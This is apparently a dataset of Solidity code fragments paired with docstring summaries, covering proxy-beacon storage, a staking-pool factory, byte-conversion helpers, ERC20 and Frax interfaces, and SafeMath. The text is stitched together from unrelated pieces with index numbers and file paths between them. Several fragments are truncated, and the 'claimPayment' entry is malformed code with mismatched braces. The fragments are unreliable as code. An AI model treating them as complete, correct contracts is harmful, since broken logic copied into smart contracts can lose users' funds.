proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; /// /// @dev Interface for EIP-2981: NFT Royalty Standard /// interface IERC2981Upgradeable is IERC165Upgradeable { /** * @notice Called with the sale price to determine how much royalty * is owed and to whom. * @param tokenId_ - the NFT asset queried for royalty information * @param salePrice_ - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256 tokenId_, uint256 salePrice_) external view returns (address receiver, uint256 royaltyAmount); }
It's sufficient to restrict upgrades to the upgrader role./ solhint-disable-next-line no-empty-blocks
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
117,895
// Copyright 2021 Cartesi Pte. Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. /// @title Factory of staking pools pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "./interfaces/StakingPool.sol"; import "./interfaces/StakingPoolFactory.sol"; import "./FlatRateCommission.sol"; import "./GasTaxCommission.sol"; contract StakingPoolFactoryImpl is Ownable, Pausable, StakingPoolFactory { address public referencePool; address public immutable gasOracle; address public immutable priceOracle; uint256 public immutable feeRaiseTimeout; uint256 public immutable maxGasRaise; uint256 public immutable maxFeePercentageRaise; address public pos; event ReferencePoolChanged(address indexed pool); event PoSAddressChanged(address indexed _pos); receive() external payable {} constructor( address _gasOracle, address _priceOracle, address _pos, uint256 _feeRaiseTimeout, uint256 _maxGasRaise, uint256 _maxFeePercentageRaise ) { require( _gasOracle != address(0), "StakingPoolFactoryImpl: parameter can not be zero address." ); require( _priceOracle != address(0), "StakingPoolFactoryImpl: parameter can not be zero address." ); gasOracle = _gasOracle; priceOracle = _priceOracle; feeRaiseTimeout = _feeRaiseTimeout; maxGasRaise = _maxGasRaise; maxFeePercentageRaise = _maxFeePercentageRaise; pos = _pos; } /// @notice Change the pool reference implementation function setReferencePool(address _referencePool) external onlyOwner { referencePool = _referencePool; emit ReferencePoolChanged(_referencePool); } /// @notice Change the pos address function setPoSAddress(address _pos) external onlyOwner { pos = _pos; emit PoSAddressChanged(_pos); } /// @notice Creates a new staking pool /// emits NewStakingPool with the parameters of the new pool /// @return new pool address function createFlatRateCommission(uint256 commission) external payable override whenNotPaused returns (address) { require( referencePool != address(0), "StakingPoolFactoryImpl: undefined reference pool" ); FlatRateCommission fee = new FlatRateCommission( commission, feeRaiseTimeout, maxFeePercentageRaise ); address payable deployed = payable(Clones.clone(referencePool)); StakingPool pool = StakingPool(deployed); pool.initialize(address(fee), pos); pool.transferOwnership(msg.sender); fee.transferOwnership(msg.sender); // sends msg.value to complete hiring process pool.selfhire{value: msg.value}(); //@dev: ignore reentrancy guard warning // returns unused user payment payable(msg.sender).transfer(msg.value); //@dev: ignore reentrancy guard warning emit NewFlatRateCommissionStakingPool(address(pool), address(fee)); return address(pool); } function createGasTaxCommission(uint256 gas) external payable override whenNotPaused returns (address) { require( referencePool != address(0), "StakingPoolFactoryImpl: undefined reference pool" ); GasTaxCommission fee = new GasTaxCommission( gasOracle, priceOracle, gas, feeRaiseTimeout, maxGasRaise ); address payable deployed = payable(Clones.clone(referencePool)); StakingPool pool = StakingPool(deployed); pool.initialize(address(fee), pos); pool.transferOwnership(msg.sender); fee.transferOwnership(msg.sender); // sends msg.value to complete hiring process pool.selfhire{value: msg.value}(); //@dev: ignore reentrancy guard warning // returns unused user payment payable(msg.sender).transfer(msg.value); //@dev: ignore reentrancy guard warning emit NewGasTaxCommissionStakingPool(address(pool), address(fee)); return address(pool); } /// @notice Returns configuration for the working pools of the current version /// @return _pos address for the PoS contract function getPoS() external view override returns (address _pos) { return pos; } function pause() public whenNotPaused onlyOwner { _pause(); } function unpause() external whenPaused onlyOwner { _unpause(); } }
Change the pool reference implementation
function setReferencePool(address _referencePool) external onlyOwner { referencePool = _referencePool; emit ReferencePoolChanged(_referencePool); }
15,884,940
./full_match/1/0x6a2Df7Fd15612079D1a72001F3a921Db792B2738/sources/lib/solady/src/utils/DateTimeLib.sol
Adds `numDays` to the unix timestamp, and returns the result.
function addDays(uint256 timestamp, uint256 numDays) internal pure returns (uint256 result) { result = timestamp + numDays * 86400; }
17,179,012
./full_match/42/0xAD0cF98a9c5C21F6a9770Dc470a8Eb6Dd99193Bf/sources/Users/225153/Projects/ram/contracts/NBUNIERC20.sol
See {IERC20-balanceOf}./ function balanceOf(address account) public override returns (uint256) { return _balances[account]; }
function balanceOf(address _owner) public override view returns (uint256) { return _balances[_owner]; } IUniswapV2Factory public uniswapFactory; address public tokenUniswapPair;
16,225,346
pragma solidity 0.4.24; import "solidity-bytes-utils/contracts/BytesLib.sol"; /// @title Extension to the BytesLib library. library BytesLibEx { using BytesLib for bytes; // Data sizes (in bytes). uint public constant UINT16_SIZE = 2; uint public constant UINT32_SIZE = 4; uint public constant UINT64_SIZE = 8; uint public constant UINT256_SIZE = 32; uint public constant BYTES20_SIZE = 20; /// @dev Converts a bytes array to byte20. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toBytes20(bytes memory _bytes, uint _start) internal pure returns (bytes20) { require(_bytes.length >= _start + BYTES20_SIZE, "Invalid length!"); bytes20 tempBytes20; // solhint-disable-next-line no-inline-assembly assembly { tempBytes20 := mload(add(add(_bytes, 32), _start)) } return tempBytes20; } /// @dev Converts a bytes array to a uint16. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) { return uint16(toUint(_bytes, _start, UINT16_SIZE)); } /// @dev Converts a bytes array to a uint32. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) { return uint32(toUint(_bytes, _start, UINT32_SIZE)); } /// @dev Converts a bytes array to a uint64. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) { return uint64(toUint(_bytes, _start, UINT64_SIZE)); } /// @dev Converts a big-endian bytes array to a uint16. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint16BE(bytes memory _bytes, uint _start) internal pure returns (uint16) { return uint16(toUintBE(_bytes, _start, UINT16_SIZE)); } /// @dev Converts a big-endian bytes array to a uint32. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint32BE(bytes memory _bytes, uint _start) internal pure returns (uint32) { return uint32(toUintBE(_bytes, _start, UINT32_SIZE)); } /// @dev Converts a big-endian bytes array to a uint64. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint64BE(bytes memory _bytes, uint _start) internal pure returns (uint64) { return uint64(toUintBE(_bytes, _start, UINT64_SIZE)); } /// @dev Converts a bytes array to a uint of specific size. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUintBE(bytes memory _bytes, uint _start) internal pure returns (uint) { return uint(toUintBE(_bytes, _start, UINT256_SIZE)); } /// @dev Converts a bytes array to a uint of specific size. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUint(bytes memory _bytes, uint _start, uint _size) private pure returns (uint) { require(_bytes.length >= _start + _size, "Invalid length!"); uint tempUint; // solhint-disable-next-line no-inline-assembly assembly { tempUint := mload(add(add(_bytes, _size), _start)) } return tempUint; } /// @dev Reverses the endianness of a given byte array. /// @param _bytes bytes The bytes to reverse. function switchEndianness(bytes memory _bytes) private pure returns (bytes) { bytes memory newBytes = new bytes(_bytes.length); for (uint i = 0; i < _bytes.length; ++i) { newBytes[_bytes.length - i - 1] = _bytes[i]; } return newBytes; } /// @dev Converts a big-endian bytes array to a uint of specific size. /// @param _bytes bytes The raw buffer. /// @param _start uint The offset to start from. function toUintBE(bytes memory _bytes, uint _start, uint _size) private pure returns (uint) { bytes memory newBytes = switchEndianness(_bytes.slice(_start, _size)); return toUint(newBytes, 0, _size); } }
Reverses the endianness of a given byte array. _bytes bytes The bytes to reverse.
function switchEndianness(bytes memory _bytes) private pure returns (bytes) { bytes memory newBytes = new bytes(_bytes.length); for (uint i = 0; i < _bytes.length; ++i) { newBytes[_bytes.length - i - 1] = _bytes[i]; } return newBytes; }
12,601,158
./full_match/3/0x9e767befbc61fE60A8162d2Dd19A7EdA11D74850/sources/browser/EscrowCompliance.sol
first 32 bytes, after the length prefix. second 32 bytes. final byte (first byte of the next 32 bytes).
function claimPayment( address payable yourcurrentowner, uint256 amount, uint256 nonce, bytes memory signature,address payable receipientaddress) } } function splitSignature(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s) assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } return (v, r, s);
14,223,340
./full_match/80001/0x64Aa500f7aa45b20DfA59F41A50baDfd92316c08/sources/_thirdweb-dev/contracts/extension/plugin/PermissionsLogic.sol
Checks `role` for `account`. Reverts with a message including the required role.
function _checkRoleWithSwitch(bytes32 role, address account) internal view virtual { if (!hasRoleWithSwitch(role, account)) { revert( string( abi.encodePacked( "Permissions: account ", TWStrings.toHexString(uint160(account), 20), " is missing role ", TWStrings.toHexString(uint256(role), 32) ) ) ); } }
854,477
./full_match/80001/0x5d12a2b9937B0F7EA99e5a13Ad89AaB05Ef7288b/sources/contracts/Settings.sol
Set Matrix Upline Depth/
function setMatrix(uint8 _val) public virtual onlyOwner { require(_val >= 3, "3 or Above Acceptable."); Settings storage s = getSettings(); s.matrix = _val; }
853,517
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.6.2 https://hardhat.org // File contracts/Math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File contracts/Frax/IFrax.sol interface IFrax { function COLLATERAL_RATIO_PAUSER() external view returns (bytes32); function DEFAULT_ADMIN_ADDRESS() external view returns (address); function DEFAULT_ADMIN_ROLE() external view returns (bytes32); function addPool(address pool_address ) external; function allowance(address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount ) external returns (bool); function balanceOf(address account ) external view returns (uint256); function burn(uint256 amount ) external; function burnFrom(address account, uint256 amount ) external; function collateral_ratio_paused() external view returns (bool); function controller_address() external view returns (address); function creator_address() external view returns (address); function decimals() external view returns (uint8); function decreaseAllowance(address spender, uint256 subtractedValue ) external returns (bool); function eth_usd_consumer_address() external view returns (address); function eth_usd_price() external view returns (uint256); function frax_eth_oracle_address() external view returns (address); function frax_info() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256); function frax_pools(address ) external view returns (bool); function frax_pools_array(uint256 ) external view returns (address); function frax_price() external view returns (uint256); function frax_step() external view returns (uint256); function fxs_address() external view returns (address); function fxs_eth_oracle_address() external view returns (address); function fxs_price() external view returns (uint256); function genesis_supply() external view returns (uint256); function getRoleAdmin(bytes32 role ) external view returns (bytes32); function getRoleMember(bytes32 role, uint256 index ) external view returns (address); function getRoleMemberCount(bytes32 role ) external view returns (uint256); function globalCollateralValue() external view returns (uint256); function global_collateral_ratio() external view returns (uint256); function grantRole(bytes32 role, address account ) external; function hasRole(bytes32 role, address account ) external view returns (bool); function increaseAllowance(address spender, uint256 addedValue ) external returns (bool); function last_call_time() external view returns (uint256); function minting_fee() external view returns (uint256); function name() external view returns (string memory); function owner_address() external view returns (address); function pool_burn_from(address b_address, uint256 b_amount ) external; function pool_mint(address m_address, uint256 m_amount ) external; function price_band() external view returns (uint256); function price_target() external view returns (uint256); function redemption_fee() external view returns (uint256); function refreshCollateralRatio() external; function refresh_cooldown() external view returns (uint256); function removePool(address pool_address ) external; function renounceRole(bytes32 role, address account ) external; function revokeRole(bytes32 role, address account ) external; function setController(address _controller_address ) external; function setETHUSDOracle(address _eth_usd_consumer_address ) external; function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address ) external; function setFXSAddress(address _fxs_address ) external; function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address ) external; function setFraxStep(uint256 _new_step ) external; function setMintingFee(uint256 min_fee ) external; function setOwner(address _owner_address ) external; function setPriceBand(uint256 _price_band ) external; function setPriceTarget(uint256 _new_price_target ) external; function setRedemptionFee(uint256 red_fee ) external; function setRefreshCooldown(uint256 _new_cooldown ) external; function setTimelock(address new_timelock ) external; function symbol() external view returns (string memory); function timelock_address() external view returns (address); function toggleCollateralRatio() external; function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount ) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool); function weth_address() external view returns (address); } // File contracts/FXS/IFxs.sol interface IFxs { function DEFAULT_ADMIN_ROLE() external view returns(bytes32); function FRAXStablecoinAdd() external view returns(address); function FXS_DAO_min() external view returns(uint256); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function balanceOf(address account) external view returns(uint256); function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function checkpoints(address, uint32) external view returns(uint32 fromBlock, uint96 votes); function decimals() external view returns(uint8); function decreaseAllowance(address spender, uint256 subtractedValue) external returns(bool); function genesis_supply() external view returns(uint256); function getCurrentVotes(address account) external view returns(uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns(uint96); function getRoleAdmin(bytes32 role) external view returns(bytes32); function getRoleMember(bytes32 role, uint256 index) external view returns(address); function getRoleMemberCount(bytes32 role) external view returns(uint256); function grantRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns(bool); function increaseAllowance(address spender, uint256 addedValue) external returns(bool); function mint(address to, uint256 amount) external; function name() external view returns(string memory); function numCheckpoints(address) external view returns(uint32); function oracle_address() external view returns(address); function owner_address() external view returns(address); function pool_burn_from(address b_address, uint256 b_amount) external; function pool_mint(address m_address, uint256 m_amount) external; function renounceRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function setFRAXAddress(address frax_contract_address) external; function setFXSMinDAO(uint256 min_FXS) external; function setOracle(address new_oracle) external; function setOwner(address _owner_address) external; function setTimelock(address new_timelock) external; function symbol() external view returns(string memory); function timelock_address() external view returns(address); function toggleVotes() external; function totalSupply() external view returns(uint256); function trackingVotes() external view returns(bool); function transfer(address recipient, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/Math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. 